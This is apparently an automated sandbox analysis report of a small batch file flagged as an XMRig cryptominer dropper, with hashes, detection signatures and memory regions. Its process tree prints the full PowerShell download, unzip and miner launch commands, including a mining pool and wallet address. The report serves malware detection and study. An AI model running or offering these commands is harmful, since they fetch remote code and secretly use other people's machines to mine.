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Analysis

  • max time kernel
    1798s
  • max time network
    1802s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07/01/2024, 08:13

General

  • Target

    tesy - Copy (2).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (2).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2252
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4224
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3624
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:1672

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    2f57fde6b33e89a63cf0dfdd6e60a351

    SHA1

    445bf1b07223a04f8a159581a3d37d630273010f

    SHA256

    3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

    SHA512

    42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    0f6a3762a04bbb03336fb66a040afb97

    SHA1

    0a0495c79f3c8f4cb349d82870ad9f98fbbaac74

    SHA256

    36e2fac0ab8aee32e193491c5d3df9374205e328a74de5648e7677eae7e1b383

    SHA512

    cc9ebc020ec18013f8ab4d6ca5a626d54db84f8dc2d97e538e33bb9a673344a670a2580346775012c85f204472f7f4dd25a34e59f1b827642a21db3325424b69

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_p5cf2emf.0tg.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    1.0MB

    MD5

    5b961bcea98193c22ba82514e2ef77e0

    SHA1

    60614b7f6596786d48aca8d6180bea5271e99f30

    SHA256

    49c716200a55b76a671b5cb94b29669cfd9c8026a503d41b0686e45faf67ce56

    SHA512

    42161b150c5f63ad032f5b5607ba36d2b63fc91abffe651723440306b9510c8ac72950a656b1d4cfb6ea04383146ad804e9149d625d251cef7b920800ba5fafc

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    1.3MB

    MD5

    c98311aa0540fd785cbfa837b97a93e2

    SHA1

    c74f39d4c58e7750fdf5f0aa3febf31ba229be05

    SHA256

    fb40046a730330efc5ddd83b93a43b6ccbfd3b6e28f45d51ab0bfed6ce9603fc

    SHA512

    94df4d8a8c5cb86f64d4f6fb6819dddaa6b20faf68f4e6d7ac931057b547ad45c82652cd9c6a6655e3e4a50518dbad45ee0e56f63dde38f54eeb4be0b0cd18ce

  • memory/1672-91-0x00007FF72A110000-0x00007FF72AC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-119-0x00007FF72A110000-0x00007FF72AC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-129-0x00007FF72A110000-0x00007FF72AC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-128-0x00007FF72A110000-0x00007FF72AC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-127-0x00007FF72A110000-0x00007FF72AC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-126-0x00007FF72A110000-0x00007FF72AC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-125-0x00007FF72A110000-0x00007FF72AC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-124-0x00007FF72A110000-0x00007FF72AC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-123-0x00007FF72A110000-0x00007FF72AC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-61-0x000001773AA60000-0x000001773AA80000-memory.dmp

    Filesize

    128KB

  • memory/1672-62-0x000001773C460000-0x000001773C4A0000-memory.dmp

    Filesize

    256KB

  • memory/1672-63-0x00007FF72A110000-0x00007FF72AC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-64-0x00000177CEC30000-0x00000177CEC50000-memory.dmp

    Filesize

    128KB

  • memory/1672-65-0x00000177CEE60000-0x00000177CEE80000-memory.dmp

    Filesize

    128KB

  • memory/1672-66-0x00007FF72A110000-0x00007FF72AC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-67-0x00007FF72A110000-0x00007FF72AC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-68-0x00007FF72A110000-0x00007FF72AC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-69-0x00000177CEC30000-0x00000177CEC50000-memory.dmp

    Filesize

    128KB

  • memory/1672-70-0x00000177CEE60000-0x00000177CEE80000-memory.dmp

    Filesize

    128KB

  • memory/1672-71-0x00007FF72A110000-0x00007FF72AC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-72-0x00007FF72A110000-0x00007FF72AC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-73-0x00007FF72A110000-0x00007FF72AC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-74-0x00007FF72A110000-0x00007FF72AC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-75-0x00007FF72A110000-0x00007FF72AC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-76-0x00007FF72A110000-0x00007FF72AC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-77-0x00007FF72A110000-0x00007FF72AC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-78-0x00007FF72A110000-0x00007FF72AC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-79-0x00007FF72A110000-0x00007FF72AC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-80-0x00007FF72A110000-0x00007FF72AC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-81-0x00007FF72A110000-0x00007FF72AC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-82-0x00007FF72A110000-0x00007FF72AC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-83-0x00007FF72A110000-0x00007FF72AC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-84-0x00007FF72A110000-0x00007FF72AC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-85-0x00007FF72A110000-0x00007FF72AC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-86-0x00007FF72A110000-0x00007FF72AC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-87-0x00007FF72A110000-0x00007FF72AC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-88-0x00007FF72A110000-0x00007FF72AC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-89-0x00007FF72A110000-0x00007FF72AC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-90-0x00007FF72A110000-0x00007FF72AC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-122-0x00007FF72A110000-0x00007FF72AC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-121-0x00007FF72A110000-0x00007FF72AC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-94-0x00007FF72A110000-0x00007FF72AC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-92-0x00007FF72A110000-0x00007FF72AC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-95-0x00007FF72A110000-0x00007FF72AC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-96-0x00007FF72A110000-0x00007FF72AC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-97-0x00007FF72A110000-0x00007FF72AC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-98-0x00007FF72A110000-0x00007FF72AC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-99-0x00007FF72A110000-0x00007FF72AC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-100-0x00007FF72A110000-0x00007FF72AC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-101-0x00007FF72A110000-0x00007FF72AC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-102-0x00007FF72A110000-0x00007FF72AC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-103-0x00007FF72A110000-0x00007FF72AC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-104-0x00007FF72A110000-0x00007FF72AC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-105-0x00007FF72A110000-0x00007FF72AC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-106-0x00007FF72A110000-0x00007FF72AC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-107-0x00007FF72A110000-0x00007FF72AC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-108-0x00007FF72A110000-0x00007FF72AC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-109-0x00007FF72A110000-0x00007FF72AC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-110-0x00007FF72A110000-0x00007FF72AC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-111-0x00007FF72A110000-0x00007FF72AC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-112-0x00007FF72A110000-0x00007FF72AC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-113-0x00007FF72A110000-0x00007FF72AC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-114-0x00007FF72A110000-0x00007FF72AC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-115-0x00007FF72A110000-0x00007FF72AC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-116-0x00007FF72A110000-0x00007FF72AC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-117-0x00007FF72A110000-0x00007FF72AC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-118-0x00007FF72A110000-0x00007FF72AC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-93-0x00007FF72A110000-0x00007FF72AC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-120-0x00007FF72A110000-0x00007FF72AC13000-memory.dmp

    Filesize

    11.0MB

  • memory/3624-34-0x00000198393C0000-0x00000198393D2000-memory.dmp

    Filesize

    72KB

  • memory/3624-31-0x00007FF877AD0000-0x00007FF878591000-memory.dmp

    Filesize

    10.8MB

  • memory/3624-32-0x00000198388A0000-0x00000198388B0000-memory.dmp

    Filesize

    64KB

  • memory/3624-58-0x00007FF877AD0000-0x00007FF878591000-memory.dmp

    Filesize

    10.8MB

  • memory/3624-33-0x00000198388A0000-0x00000198388B0000-memory.dmp

    Filesize

    64KB

  • memory/3624-35-0x0000019838890000-0x000001983889A000-memory.dmp

    Filesize

    40KB

  • memory/4224-15-0x00000141D4A40000-0x00000141D4A50000-memory.dmp

    Filesize

    64KB

  • memory/4224-13-0x00000141D4A40000-0x00000141D4A50000-memory.dmp

    Filesize

    64KB

  • memory/4224-10-0x00007FF877AD0000-0x00007FF878591000-memory.dmp

    Filesize

    10.8MB

  • memory/4224-11-0x00000141D4A40000-0x00000141D4A50000-memory.dmp

    Filesize

    64KB

  • memory/4224-12-0x00000141D4A40000-0x00000141D4A50000-memory.dmp

    Filesize

    64KB

  • memory/4224-14-0x00007FF877AD0000-0x00007FF878591000-memory.dmp

    Filesize

    10.8MB

  • memory/4224-9-0x00000141EDBA0000-0x00000141EDBC2000-memory.dmp

    Filesize

    136KB

  • memory/4224-19-0x00007FF877AD0000-0x00007FF878591000-memory.dmp

    Filesize

    10.8MB